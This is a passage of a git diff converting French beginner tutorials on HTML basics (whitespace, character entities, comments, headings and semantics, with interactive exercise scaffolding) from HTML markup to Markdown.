Si vous êtes vraiment coincé, appuyez sur le bouton _Voir la solution_ pour l'afficher. -<pre class="brush: html hidden"><h2>Zone de rendu</h2> +```html hidden +<h2>Zone de rendu</h2> -<div class="output" style="min-height: 50px;"> -</div> +<div class="output" style="min-height: 50px;"> +</div> -<h2>Code modifiable</h2> -<p class="a11y-label">Pressez Esc pour sortir le focus de la Zone de saisie (Tab insère une tabulation).</p> +<h2>Code modifiable</h2> +<p class="a11y-label">Pressez Esc pour sortir le focus de la Zone de saisie (Tab insère une tabulation).</p> -<textarea id="code" class="input" style="min-height: 100px;width: 95%"> - &lt;p&gt;Voici ma page&lt;/p&gt; -</textarea> +<textarea id="code" class="input" style="min-height: 100px;width: 95%"> + <p>Voici ma page</p> +</textarea> -<div class="playable-buttons"> - <input id="reset" type="button" value="Réinitialiser"> - <input id="solution" type="button" value="Voir la solution"> -</div></pre> +<div class="playable-buttons"> + <input id="reset" type="button" value="Réinitialiser"> + <input id="solution" type="button" value="Voir la solution"> +</div> +``` -<pre class="brush: css hidden">html { +```css hidden +html { font-family: sans-serif; } @@ -536,9 +558,11 @@ img { body { margin: 10px; background: #f5f9fa; -}</pre> +} +``` -<pre class="brush: js hidden">var textarea = document.getElementById('code'); +```js hidden +var textarea = document.getElementById('code'); var reset = document.getElementById('reset'); var solution = document.getElementById('solution'); var output = document.querySelector('.output'); @@ -568,7 +592,7 @@ solution.addEventListener('click', function() { updateCode(); }); -var htmlSolution = '<h1>Un peu de musique</h1><p>J\'aime vraiment beaucoup <strong>jouer de la batterie</strong>. Un de mes batteurs préférés est Neal Peart, qui\ joue dans le groupe <a href="https://fr.wikipedia.org/wiki/Rush_%28groupe%29" title="Article Wikipedia sur Rush">Rush</a>.\Actuellement, mon album Rush de prédilection est <a href="http://www.deezer.com/album/942295">Moving Pictures</a>.</p>\ <img src="http://www.cygnus-x1.net/links/rush/images/albums/sectors/sector2-movingpictures-cover-s.jpg">'; +var htmlSolution = '<h1>Un peu de musique</h1><p>J\'aime vraiment beaucoup <strong>jouer de la batterie</strong>. Un de mes batteurs préférés est Neal Peart, qui\ joue dans le groupe <a href="https://fr.wikipedia.org/wiki/Rush_%28groupe%29" title="Article Wikipedia sur Rush">Rush</a>.\Actuellement, mon album Rush de prédilection est <a href="http://www.deezer.com/album/942295">Moving Pictures</a>.</p>\ <img src="http://www.cygnus-x1.net/links/rush/images/albums/sectors/sector2-movingpictures-cover-s.jpg">'; var solutionEntry = htmlSolution; textarea.addEventListener('input', updateCode); @@ -614,112 +638,88 @@ textarea.onkeyup = function(){ } updateCode(); -};</pre> +}; +``` -<p>{{ EmbedLiveSample('Apprentissage_actif_ajouter_certaines_fonctionnalités_à_un_document_HTML', 700, 600, "", "", "hide-codepen-jsfiddle") }}</p> +{{ EmbedLiveSample('Apprentissage_actif_ajouter_certaines_fonctionnalités_à_un_document_HTML', 700, 600, "", "", "hide-codepen-jsfiddle") }} -<h3 id="Espace_vide_en_HTML">Espace vide en HTML</h3> +### Espace vide en HTML -<p>Dans les exemples ci-dessus, vous avez peut-être remarqué que beaucoup d'espaces sont inclus dans le code — ce n'est pas nécessaire du tout. Les deux extraits de code suivants sont équivalents:</p> +Dans les exemples ci-dessus, vous avez peut-être remarqué que beaucoup d'espaces sont inclus dans le code — ce n'est pas nécessaire du tout. Les deux extraits de code suivants sont équivalents: -<pre class="brush: html"><p>Les chiens sont idiots.</p> +```html +<p>Les chiens sont idiots.</p> -<p>Les chiens sont - idiots.</p></pre> +<p>Les chiens sont + idiots.</p> +``` -<p>Peu importe la quantité d'espace que vous utilisez (pour inclure des espaces, ou aussi des sauts de ligne), l'analyseur HTML réduit chacun à un seul espace lors du rendu du code. Alors, pourquoi utiliser autant d'espace blanc? La réponse est la lisibilité — car il est tellement plus facile de comprendre ce qui se passe dans votre code si vous l'avez bien formaté, et non pas simplement l'écrire dans un grand désordre. Dans notre HTML, nous avons chaque élément imbriqué indenté par deux espaces plus que celui qui le contient. C'est à vous de choisir le style de formatage que vous utilisez (combien d'espaces pour chaque niveau d'indentation, par exemple), mais vous devriez envisager d'utiliser une sorte de formatage.</p> +Peu importe la quantité d'espace que vous utilisez (pour inclure des espaces, ou aussi des sauts de ligne), l'analyseur HTML réduit chacun à un seul espace lors du rendu du code. Alors, pourquoi utiliser autant d'espace blanc? La réponse est la lisibilité — car il est tellement plus facile de comprendre ce qui se passe dans votre code si vous l'avez bien formaté, et non pas simplement l'écrire dans un grand désordre. Dans notre HTML, nous avons chaque élément imbriqué indenté par deux espaces plus que celui qui le contient. C'est à vous de choisir le style de formatage que vous utilisez (combien d'espaces pour chaque niveau d'indentation, par exemple), mais vous devriez envisager d'utiliser une sorte de formatage. -<h2 id="Références_dentités">Références d'entités : inclure les caractères spéciaux en HTML</h2> +## Références d'entités : inclure les caractères spéciaux en HTML -<p>En HTML, les caractères <code><</code>, <code>></code>,<code>"</code>,<code>'</code> et <code>&</code> sont des caractères spéciaux. Ils font partie de la syntaxe HTML elle-même, alors comment inclure un de ces caractères dans du texte, par exemple si vous voulez vraiment utiliser une esperluette(&) ou un signe inférieur(<), qui ne soit pas interpré en tant que code comme les navigateurs pourraient le faire ?</p> +En HTML, les caractères `<`, `>`,`"`,`'` et `&` sont des caractères spéciaux. Ils font partie de la syntaxe HTML elle-même, alors comment inclure un de ces caractères dans du texte, par exemple si vous voulez vraiment utiliser une esperluette(&) ou un signe inférieur(<), qui ne soit pas interpré en tant que code comme les navigateurs pourraient le faire ? -<p>Nous devons utiliser les références des caractères — codes spéciaux qui représentent des caractères et peuvent être utilisés dans ces circonstances exactes. Chaque référence de caractère est démarrée avec une esperluette (&), et se termine par un point-virgule (;).</p> +Nous devons utiliser les références des caractères — codes spéciaux qui représentent des caractères et peuvent être utilisés dans ces circonstances exactes. Chaque référence de caractère est démarrée avec une esperluette (&), et se termine par un point-virgule (;). -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Le caractère</th> - <th scope="col">Réference équivalent</th> - </tr> - </thead> - <tbody> - <tr> - <td><</td> - <td>&lt;</td> - </tr> - <tr> - <td>></td> - <td>&gt;</td> - </tr> - <tr> - <td>"</td> - <td>&quot;</td> - </tr> - <tr> - <td>'</td> - <td>&apos;</td> - </tr> - <tr> - <td>&</td> - <td>&amp;</td> - </tr> - </tbody> -</table> +| Le caractère | Réference équivalent | +| ------------ | -------------------- | +| < | < | +| > | > | +| " | " | +| ' | ' | +| & | & | -<p>Dans l'exemple ci-dessous, voici deux paragraphes parlant de techniques Web :</p> +Dans l'exemple ci-dessous, voici deux paragraphes parlant de techniques Web : -<pre class="brush: html"><p>En HTML, un paragraphe se définit avec l'élément <p>.</p> +```html +<p>En HTML, un paragraphe se définit avec l'élément <p>.</p> -<p>En HTML, un paragraphe se définit avec l'élément &lt;p&gt;.</p></pre> +<p>En HTML, un paragraphe se définit avec l'élément <p>.</p> +``` -<p>Dans la zone de rendu en direct ci-dessous, vous pouvez voir que le premier paragraphe n'est pas correctement affiché : le navigateur interprète le second <p> comme le début d'un nouveau paragraphe ! Le deuxième paragraphe est bien affiché, car nous avons remplacé les signes inférieur(<) et supérieur(>) par leurs références de caractère.</p> +Dans la zone de rendu en direct ci-dessous, vous pouvez voir que le premier paragraphe n'est pas correctement affiché : le navigateur interprète le second \<p> comme le début d'un nouveau paragraphe ! Le deuxième paragraphe est bien affiché, car nous avons remplacé les signes inférieur(<) et supérieur(>) par leurs références de caractère. -<p>{{ EmbedLiveSample("Références_dentités", 700, 200, "", "", "hide-codepen-jsfiddle") }}</p> +{{ EmbedLiveSample("Références_dentités", 700, 200, "", "", "hide-codepen-jsfiddle") }} -<div class="note"> -<p><strong>Note :</strong> Un graphique de toutes les références d'entité de caractères HTML est disponible sur Wikipedia : <a href="https://fr.wikipedia.org/wiki/Liste_des_entit%C3%A9s_caract%C3%A8re_de_XML_et_HTML">Liste des entités caractère de XML et HTML</a>.</p> -</div> +> **Note :** Un graphique de toutes les références d'entité de caractères HTML est disponible sur Wikipedia : [Liste des entités caractère de XML et HTML](https://fr.wikipedia.org/wiki/Liste_des_entit%C3%A9s_caract%C3%A8re_de_XML_et_HTML). -<h2 id="Commentaires_en_HTML">Commentaires en HTML</h2> +## Commentaires en HTML -<p>En HTML, comme pour la plupart des langages de programmation, il existe un mécanisme permettant d'écrire des commentaires dans le code. Les commentaires sont ignorés par le navigateur et invisibles à l'utilisateur. Leur but est de permettre d'inclure des commentaires dans le code pour dire comment il fonctionne, que font les diverses parties du code, etc. Cela peut s'avérer très utile si vous revenez à un codage que vous n'avez pas travaillé depuis 6 mois et que vous ne pouvez pas vous rappeler ce que vous avez fait — ou si vous donnez votre code à quelqu'un d'autre pour qu'il y travaille.</p> +En HTML, comme pour la plupart des langages de programmation, il existe un mécanisme permettant d'écrire des commentaires dans le code. Les commentaires sont ignorés par le navigateur et invisibles à l'utilisateur. Leur but est de permettre d'inclure des commentaires dans le code pour dire comment il fonctionne, que font les diverses parties du code, etc. Cela peut s'avérer très utile si vous revenez à un codage que vous n'avez pas travaillé depuis 6 mois et que vous ne pouvez pas vous rappeler ce que vous avez fait — ou si vous donnez votre code à quelqu'un d'autre pour qu'il y travaille. -<p>Pour transformer une section de contenu dans votre fichier HTML en commentaire, vous devez la mettre dans les marqueurs spéciaux <code><!-- </code>et<code>--></code>, par exemple :</p> +Pour transformer une section de contenu dans votre fichier HTML en commentaire, vous devez la mettre dans les marqueurs spéciaux `<!-- `et`-->`, par exemple : -<pre class="brush: html"><p>Je ne suis pas dans un commentaire</p> +```html +<p>Je ne suis pas dans un commentaire</p> -<!-- <p>Je suis dans un commmentaire!</p> --></pre> +<!-- <p>Je suis dans un commmentaire!</p> --> +``` -<p>Comme vous pouvez le voir ci-dessous, le premier paragraphe apparaît dans le rendu de l'éditeur en ligne, mais le second n'apparaît pas.</p> +Comme vous pouvez le voir ci-dessous, le premier paragraphe apparaît dans le rendu de l'éditeur en ligne, mais le second n'apparaît pas. -<p>{{ EmbedLiveSample('Commentaires_en_HTML', 700, 100, "", "", "hide-codepen-jsfiddle") }}</p> +{{ EmbedLiveSample('Commentaires_en_HTML', 700, 100, "", "", "hide-codepen-jsfiddle") }} -<h2 id="Résumé">Résumé</h2> +## Résumé -<p>Vous avez atteint la fin de l'article — nous espérons que vous avez apprécié de faire le tour des bases du HTML ! À ce stade, vous devez comprendre à quoi ce langage ressemble, comment il fonctionne à un niveau de base, et être en mesure d'écrire quelques éléments et attributs. C'est parfait pour le moment, car dans les articles suivants, nous allons approfondir certaines des choses que vous venez de voir, et introduire de nouveaux aspects du langage. Restez à l'écoute !</p> +Vous avez atteint la fin de l'article — nous espérons que vous avez apprécié de faire le tour des bases du HTML ! À ce stade, vous devez comprendre à quoi ce langage ressemble, comment il fonctionne à un niveau de base, et être en mesure d'écrire quelques éléments et attributs. C'est parfait pour le moment, car dans les articles suivants, nous allons approfondir certaines des choses que vous venez de voir, et introduire de nouveaux aspects du langage. Restez à l'écoute ! -<div class="note"> -<p><strong>Note :</strong> À ce stade, lorsque vous commencez à en apprendre davantage sur le langage HTML, vous pouvez également commencer à explorer les bases des feuilles de style <a href="/fr/docs/Learn/CSS">CSS</a>. CSS est le langage utilisé pour composer vos pages Web (par exemple, changer la police ou les couleurs, ou modifier la mise en page). HTML et CSS vont très bien ensemble, comme vous allez bientôt le découvrir.</p> -</div> +> **Note :** À ce stade, lorsque vous commencez à en apprendre davantage sur le langage HTML, vous pouvez également commencer à explorer les bases des feuilles de style [CSS](/fr/docs/Learn/CSS). CSS est le langage utilisé pour composer vos pages Web (par exemple, changer la police ou les couleurs, ou modifier la mise en page). HTML et CSS vont très bien ensemble, comme vous allez bientôt le découvrir. -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<ul> - <li><a href="/fr/docs/Web/HTML/Applying_color">Appliquer une couleur aux éléments HTML avec les CSS</a></li> -</ul> +- [Appliquer une couleur aux éléments HTML avec les CSS](/fr/docs/Web/HTML/Applying_color) -<div>{{NextMenu("Apprendre/HTML/Introduction_à_HTML/The_head_metadata_in_HTML", "Apprendre/HTML/Introduction_à_HTML")}}</div> +{{NextMenu("Apprendre/HTML/Introduction_à_HTML/The_head_metadata_in_HTML", "Apprendre/HTML/Introduction_à_HTML")}} -<h2 id="Dans_ce_module">Dans ce module</h2> +## Dans ce module -<ul> - <li>Commencer avec le HTML</li> - <li><a href="/fr/docs/Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML">Qu'y-a-t-il dans l'en-tête ? Métadonnées en HTML</a></li> - <li><a href="/fr/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals">Fondamentaux du texte HTML</a></li> - <li><a href="/fr/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks">Création d'hyperliens</a></li> - <li><a href="/fr/docs/Learn/HTML/Introduction_to_HTML/Advanced_text_formatting">Formatage avancé du texte</a></li> - <li><a href="/fr/docs/Learn/HTML/Introduction_to_HTML/Document_and_website_structure">Structure de Site Web et de document</a></li> - <li><a href="/fr/docs/Learn/HTML/Introduction_to_HTML/Debugging_HTML">Déboguer de l'HTML</a></li> - <li><a href="/fr/docs/Learn/HTML/Introduction_to_HTML/Marking_up_a_letter">Faire une lettre</a></li> - <li><a href="/fr/docs/Learn/HTML/Introduction_to_HTML/Structuring_a_page_of_content">Structurer une page de contenu</a></li> -</ul> +- Commencer avec le HTML +- [Qu'y-a-t-il dans l'en-tête ? Métadonnées en HTML](/fr/docs/Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML) +- [Fondamentaux du texte HTML](/fr/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals) +- [Création d'hyperliens](/fr/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks) +- [Formatage avancé du texte](/fr/docs/Learn/HTML/Introduction_to_HTML/Advanced_text_formatting) +- [Structure de Site Web et de document](/fr/docs/Learn/HTML/Introduction_to_HTML/Document_and_website_structure) +- [Déboguer de l'HTML](/fr/docs/Learn/HTML/Introduction_to_HTML/Debugging_HTML) +- [Faire une lettre](/fr/docs/Learn/HTML/Introduction_to_HTML/Marking_up_a_letter) +- [Structurer une page de contenu](/fr/docs/Learn/HTML/Introduction_to_HTML/Structuring_a_page_of_content) diff --git a/files/fr/learn/html/introduction_to_html/html_text_fundamentals/index.md b/files/fr/learn/html/introduction_to_html/html_text_fundamentals/index.md index 213a383e88..be405b6a22 100644 --- a/files/fr/learn/html/introduction_to_html/html_text_fundamentals/index.md +++ b/files/fr/learn/html/introduction_to_html/html_text_fundamentals/index.md @@ -15,118 +15,131 @@ tags: translation_of: Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals original_slug: Apprendre/HTML/Introduction_à_HTML/HTML_text_fundamentals --- -<div>{{LearnSidebar}}</div> +{{LearnSidebar}}{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML", "Learn/HTML/Introduction_to_HTML/Creating_hyperlinks", "Learn/HTML/Introduction_to_HTML")}} -<div>{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML", "Learn/HTML/Introduction_to_HTML/Creating_hyperlinks", "Learn/HTML/Introduction_to_HTML")}}</div> - -<p>L'un des principaux buts de HTML est de structurer du texte et lui donner du sens (ce que l'on appelle la {{glossary("sémantique")}}) afin que le navigateur puisse l'afficher correctement. Cet article explique comment {{glossary("HTML")}} peut être utilisé pour structurer une page en ajoutant des titres et des paragraphes, en marquant des emphases, en créant des listes, et bien plus encore.</p> +L'un des principaux buts de HTML est de structurer du texte et lui donner du sens (ce que l'on appelle la {{glossary("sémantique")}}) afin que le navigateur puisse l'afficher correctement. Cet article explique comment {{glossary("HTML")}} peut être utilisé pour structurer une page en ajoutant des titres et des paragraphes, en marquant des emphases, en créant des listes, et bien plus encore. <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Pré-requis:</th> - <td> - <p>Connaître les bases du langage HTML, telles que traitées à la page <a href="/fr/docs/Apprendre/HTML/Introduction_%C3%A0_HTML/Getting_started">Commencer avec le HTML</a>.</p> - </td> - </tr> - <tr> - <th scope="row">Objectif:</th> - <td> - <p>Apprendre comment ajouter des balises dans une page de texte simple pour la structurer et lui donner du sens — en incluant des paragraphes, des titres, des listes, des emphases et des citations.</p> - </td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Pré-requis:</th> + <td> + <p> + Connaître les bases du langage HTML, telles que traitées à la page + <a + href="/fr/docs/Apprendre/HTML/Introduction_%C3%A0_HTML/Getting_started" + >Commencer avec le HTML</a + >. + </p> + </td> + </tr> + <tr> + <th scope="row">Objectif:</th> + <td> + <p> + Apprendre comment ajouter des balises dans une page de texte simple + pour la structurer et lui donner du sens — en incluant des + paragraphes, des titres, des listes, des emphases et des citations. + </p> + </td> + </tr> + </tbody> </table> -<h2 id="Les_bases_titres_et_paragraphes">Les bases : titres et paragraphes</h2> +## Les bases : titres et paragraphes -<p>La plupart des textes structurés comprennent des titres et des paragraphes, que ce soit dans les romans, les journaux, les livres scolaires, les magazines, etc.</p> +La plupart des textes structurés comprennent des titres et des paragraphes, que ce soit dans les romans, les journaux, les livres scolaires, les magazines, etc. -<p><img alt="An example of a newspaper front cover, showing use of a top level heading, subheadings and paragraphs." src="newspaper_small.jpg"></p> + -<p>Le contenu structuré facilite la lecture et la rend plus agréable.</p> +Le contenu structuré facilite la lecture et la rend plus agréable. -<p>En HTML, les paragraphes doivent être contenus dans un élément {{htmlelement("p")}}, comme ceci :</p> +En HTML, les paragraphes doivent être contenus dans un élément {{htmlelement("p")}}, comme ceci : -<pre class="brush: html"><p>Je suis un paragraphe, oh oui je le suis.</p></pre> +```html +<p>Je suis un paragraphe, oh oui je le suis.</p> +``` -<p>Chaque titre doit être contenu dans un élément titre :</p> +Chaque titre doit être contenu dans un élément titre : -<pre class="brush: html"><h1>Je suis le titre de l'histoire.</h1></pre> +```html +<h1>Je suis le titre de l'histoire.</h1> +``` -<p>Il y a 6 éléments de titre — {{htmlelement("h1")}}, {{htmlelement("h2")}}, {{htmlelement("h3")}}, {{htmlelement("h4")}}, {{htmlelement("h5")}}, et {{htmlelement("h6")}}. Chaque élément représente un niveau de titre différent ; <code><h1></code> représente le titre principal, <code><h2></code> représente un sous-titre, <code><h3></code> représente un sous-sous-titre, et ainsi de suite jusqu'au niveau de titre le plus bas qui correspond à <code><h6></code>.</p> +Il y a 6 éléments de titre — {{htmlelement("h1")}}, {{htmlelement("h2")}}, {{htmlelement("h3")}}, {{htmlelement("h4")}}, {{htmlelement("h5")}}, et {{htmlelement("h6")}}. Chaque élément représente un niveau de titre différent ; `<h1>` représente le titre principal, `<h2>` représente un sous-titre, `<h3>` représente un sous-sous-titre, et ainsi de suite jusqu'au niveau de titre le plus bas qui correspond à `<h6>`. -<h3 id="Implémentation_de_la_hiérarchie_structurale">Implémentation de la hiérarchie structurale</h3> +### Implémentation de la hiérarchie structurale -<p>Dans une histoire, la balise <code><h1></code> représenterait le titre de l'histoire, les balises <code><h2></code> représenteraient les titres des chapitres, les balises <code><h3></code> les sous-sections des chapitres, en poursuivant ainsi jusqu'à la balise <code><h6></code>.</p> +Dans une histoire, la balise `<h1>` représenterait le titre de l'histoire, les balises `<h2>` représenteraient les titres des chapitres, les balises `<h3>` les sous-sections des chapitres, en poursuivant ainsi jusqu'à la balise `<h6>`. -<pre class="brush: html"><h1>L'ennui mortel</h1> +```html +<h1>L'ennui mortel</h1> -<p>par Chris Mills</p> +<p>par Chris Mills</p> -<h2>Chapitre I : La nuit noire</h2> +<h2>Chapitre I : La nuit noire</h2> -<p>Il faisait nuit noire. Quelque part une chouette ululait. La pluie tombait sur ...</p> +<p>Il faisait nuit noire. Quelque part une chouette ululait. La pluie tombait sur ...</p> -<h2>Chapitre II : Le silence éternel</h2> +<h2>Chapitre II : Le silence éternel</h2> -<p>Notre protagoniste ne pouvait même pas murmurer à l'ombre de la silhouette...</p> +<p>Notre protagoniste ne pouvait même pas murmurer à l'ombre de la silhouette...</p> -<h3>Le spectre parle</h3> +<h3>Le spectre parle</h3> -<p>Plusieurs heures s'étaient écoulées, quand soudain le spectre assis se releva et s'exclama : « S'il vous plaît, ayez pitié de mon âme ! »...</p></pre> +<p>Plusieurs heures s'étaient écoulées, quand soudain le spectre assis se releva et s'exclama : « S'il vous plaît, ayez pitié de mon âme ! »...</p> +``` -<p>C'est vous qui décidez ce que représentent les éléments utilisés tant que la hiérarchie a du sens. Vous devez cependant garder à l'esprit quelques bonnes pratiques lorsque vous créez de telles structures :</p> +C'est vous qui décidez ce que représentent les éléments utilisés tant que la hiérarchie a du sens. Vous devez cependant garder à l'esprit quelques bonnes pratiques lorsque vous créez de telles structures : -<ul> - <li>Il est préférable de n'utiliser qu'un seul <code><h1></code> par page — c'est le niveau principal, et tous les autres devraient être de niveau inférieur.</li> - <li>Assurez-vous d'utiliser les balise de titre dans l'ordre correct et logique : <code><h1></code> puis <code><h2></code>, puis <code><h3></code> et ainsi de suite.</li> - <li>Bien qu'il y ait 6 niveaux de titre (de <code><h1></code> à <code><h6></code>), Il est déconseillé d'utiliser plus de trois niveaux dans une page. Les documents avec beaucoup de niveaux deviennent complexes et difficiles à parcourir. Dans ce cas, il est préférable de partager le contenu sur plusieurs pages.</li> -</ul> +- Il est préférable de n'utiliser qu'un seul `<h1>` par page — c'est le niveau principal, et tous les autres devraient être de niveau inférieur. +- Assurez-vous d'utiliser les balise de titre dans l'ordre correct et logique : `<h1>` puis `<h2>`, puis `<h3>` et ainsi de suite. +- Bien qu'il y ait 6 niveaux de titre (de `<h1>` à `<h6>`), Il est déconseillé d'utiliser plus de trois niveaux dans une page. Les documents avec beaucoup de niveaux deviennent complexes et difficiles à parcourir. Dans ce cas, il est préférable de partager le contenu sur plusieurs pages. -<h3 id="Pourquoi_faut-il_structurer_un_document">Pourquoi faut-il structurer un document ?</h3> +### Pourquoi faut-il structurer un document ? -<p>Pour répondre à cette question, regardons la page <a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/html-text-formatting/text-start.html">text-start.html</a> — le point de départ de l'exemple que nous allons utiliser dans cet article (une recette). Enregistrez une copie de ce fichier sur votre ordinateur car vous en aurez besoin pour les exercices qui vont suivre. Le corps de ce document contient plusieurs parties sans aucune balise ; elles sont seulement séparées par des retours chariots (obtenus en pressant la touche <kbd>Entrée</kbd> ou <kbd>⏎</kbd>)</p> +Pour répondre à cette question, regardons la page [text-start.html](https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/html-text-formatting/text-start.html) — le point de départ de l'exemple que nous allons utiliser dans cet article (une recette). Enregistrez une copie de ce fichier sur votre ordinateur car vous en aurez besoin pour les exercices qui vont suivre. Le corps de ce document contient plusieurs parties sans aucune balise ; elles sont seulement séparées par des retours chariots (obtenus en pressant la touche <kbd>Entrée</kbd> ou <kbd>⏎</kbd>) -<p>Cependant, si l'on ouvre ce document dans un navigateur, il sera affiché sous forme d'un gros bloc de texte !</p> +Cependant, si l'on ouvre ce document dans un navigateur, il sera affiché sous forme d'un gros bloc de texte ! -<p><img alt="Une page Web qui montre un mur de texte non formaté, parce qu'il n'y a pas d'éléments sur la page pour la structurer." src="recette.png"></p> + -<p>Ceci est dû au fait qu'il n'y a aucun élément indiquant la structure du contenu, et donc le navigateur ne sait pas différencier ce qui est un titre d'un paragraphe. De plus :</p> +Ceci est dû au fait qu'il n'y a aucun élément indiquant la structure du contenu, et donc le navigateur ne sait pas différencier ce qui est un titre d'un paragraphe. De plus : -<ul> - <li>Les visiteurs d'une page web la parcourent pour trouver le contenu pertinent. Par conséquent, ils ne lisentsouvent que les titres (généralement <a href="http://www.nngroup.com/articles/how-long-do-users-stay-on-web-pages/">nous ne passons que très peu de temps sur une page web</a>). S'ils ne trouvent pas le contenu souhaité en quelques secondes, ils seront probablement déçus et chercheront l'information souhaitée ailleurs.</li> - <li>Les moteurs de recherche, lorsqu'ils indexent votre page, prennent en considération les titres en tant que mots‑clés ce qui influe sur le classement de la page lors d'une recherche. Sans titre, une page aura un faible référencement (voir {{glossary("SEO")}} (Search Engine Optimization).</li> - <li>Les personnes malvoyantes ne pouvant lire votre page peuvent utiliser des <a href="https://fr.wikipedia.org/wiki/Lecteur_d%27%C3%A9cran">lecteurs d'écran</a>. Ces logiciels permettent d'accéder rapidement à une partie du texte. Pour cela, ils lisent les titres de votre document aux utilisateurs, leur permettant ainsi de trouver rapidement l'information dont ils ont besoin. Si les titres ne sont pas disponibles, les lecteurs d'écran lisent tout le document, le rendant peu accessible aux personnes avec un handicap visuel.</li> - <li>Pour composer un style de contenu avec le {{glossary("CSS")}} ou réaliser des choses intéressantes avec le {{glossary("JavaScript")}}, vous devez avoir des éléments enveloppant les contenus pertinents, ce qui permet ensuite de les cibler avec CSS/JavaScript.</li> -</ul> +- Les visiteurs d'une page web la parcourent pour trouver le contenu pertinent. Par conséquent, ils ne lisentsouvent que les titres (généralement [nous ne passons que très peu de temps sur une page web](http://www.nngroup.com/articles/how-long-do-users-stay-on-web-pages/)). S'ils ne trouvent pas le contenu souhaité en quelques secondes, ils seront probablement déçus et chercheront l'information souhaitée ailleurs. +- Les moteurs de recherche, lorsqu'ils indexent votre page, prennent en considération les titres en tant que mots‑clés ce qui influe sur le classement de la page lors d'une recherche. Sans titre, une page aura un faible référencement (voir {{glossary("SEO")}} (Search Engine Optimization). +- Les personnes malvoyantes ne pouvant lire votre page peuvent utiliser des [lecteurs d'écran](https://fr.wikipedia.org/wiki/Lecteur_d%27%C3%A9cran). Ces logiciels permettent d'accéder rapidement à une partie du texte. Pour cela, ils lisent les titres de votre document aux utilisateurs, leur permettant ainsi de trouver rapidement l'information dont ils ont besoin. Si les titres ne sont pas disponibles, les lecteurs d'écran lisent tout le document, le rendant peu accessible aux personnes avec un handicap visuel. +- Pour composer un style de contenu avec le {{glossary("CSS")}} ou réaliser des choses intéressantes avec le {{glossary("JavaScript")}}, vous devez avoir des éléments enveloppant les contenus pertinents, ce qui permet ensuite de les cibler avec CSS/JavaScript. -<p>Il est donc nécessaire d'ajouter des balises de structuration du contenu.</p> +Il est donc nécessaire d'ajouter des balises de structuration du contenu. -<h3 id="Apprentissage_actif_structurer_le_contenu">Apprentissage actif : structurer le contenu</h3> +### Apprentissage actif : structurer le contenu -<p>Dans l'exemple ci-dessous, ajoutez des balises dans le texte de la zone Code modifiable afin qu'il fasse apparaître un titre et deux paragraphes dans le champ <em>Sortie directe</em>.</p> +Dans l'exemple ci-dessous, ajoutez des balises dans le texte de la zone Code modifiable afin qu'il fasse apparaître un titre et deux paragraphes dans le champ _Sortie directe_. -<p>Si vous faites une erreur, vous pouvez recommencer en appuyant sur le bouton <em>Réinitialiser</em>. Si vous êtes bloqués, appuyez sur le bouton <em>Voir la solution</em> pour afficher la réponse.</p> +Si vous faites une erreur, vous pouvez recommencer en appuyant sur le bouton _Réinitialiser_. Si vous êtes bloqués, appuyez sur le bouton _Voir la solution_ pour afficher la réponse. -<pre class="brush: html hidden"><h2>Sortie directe</h2> +```html hidden +<h2>Sortie directe</h2> -<div class="output" style="min-height: 50px;"> -</div> +<div class="output" style="min-height: 50px;"> +</div> -<h2>Code modifiable</h2> -<p class="a11y-label">Pressez Esc pour sortir le focus de la zone de code (Tab insère une tabulation).</p> +<h2>Code modifiable</h2> +<p class="a11y-label">Pressez Esc pour sortir le focus de la zone de code (Tab insère une tabulation).</p> -<textarea id="code" class="input" style="min-height: 100px; width: 95%">Ma courte histoire : je suis une policière et mon nom est Trish. +<textarea id="code" class="input" style="min-height: 100px; width: 95%">Ma courte histoire : je suis une policière et mon nom est Trish. -Mes jambes sont en carton et je suis mariée à un poisson.</textarea> +Mes jambes sont en carton et je suis mariée à un poisson.</textarea> -<div class="playable-buttons"> - <input id="reset" type="button" value="Réinitialiser"> - <input id="solution" type="button" value="Voir la solution"> -</div></pre> +<div class="playable-buttons"> + <input id="reset" type="button" value="Réinitialiser"> + <input id="solution" type="button" value="Voir la solution"> +</div> +``` -<pre class="brush: css hidden">html { +```css hidden +html { font-family: sans-serif; } @@ -144,9 +157,11 @@ h2 { body { margin: 10px; background: #f5f9fa; -}</pre> +} +``` -<pre class="brush: js hidden">var textarea = document.getElementById('code'); +```js hidden +var textarea = document.getElementById('code'); var reset = document.getElementById('reset'); var solution = document.getElementById('solution'); var output = document.querySelector('.output'); @@ -176,7 +191,7 @@ solution.addEventListener('click', function() { updateCode(); }); -var htmlSolution = '<h1>Ma courte histoire</h1>\n<p>Je suis une policière et mon nom est Trish.</p>\n<p>Mes jambes sont en carton et je suis mariée à un poisson.</p>'; +var htmlSolution = '<h1>Ma courte histoire</h1>\n<p>Je suis une policière et mon nom est Trish.</p>\n<p>Mes jambes sont en carton et je suis mariée à un poisson.</p>'; var solutionEntry = htmlSolution; textarea.addEventListener('input', updateCode); @@ -223,80 +238,92 @@ textarea.onkeyup = function(){ } updateCode(); -};</pre> +}; +``` -<p>{{ EmbedLiveSample('Apprentissage_actif_structurer_le_contenu', 700, 370) }}</p> +{{ EmbedLiveSample('Apprentissage_actif_structurer_le_contenu', 700, 370) }} -<h3 id="Pourquoi_a-t-on_besoin_de_sémantique">Pourquoi a-t-on besoin de sémantique ?</h3> +### Pourquoi a-t-on besoin de sémantique ? -<p>La sémantique est utilisée partout autour de nous — on se fie à nos précédentes experiences pour savoir à quoi servent les objets du quotidien; quand on voit quelque chose, on sait à quoi cela sert. Par exemple, on s'attend à ce qu'un feu rouge de signalisation signifie « Stop » et qu'un feu vert signifie « Avancez ». Les choses peuvent vite devenir plus compliquées si de mauvaises sémantiques sont appliquées (existe-t-il un pays dans lequel un feu rouge signifie que l'on peut passer ? Je ne l'espère pas.)</p> +La sémantique est utilisée partout autour de nous — on se fie à 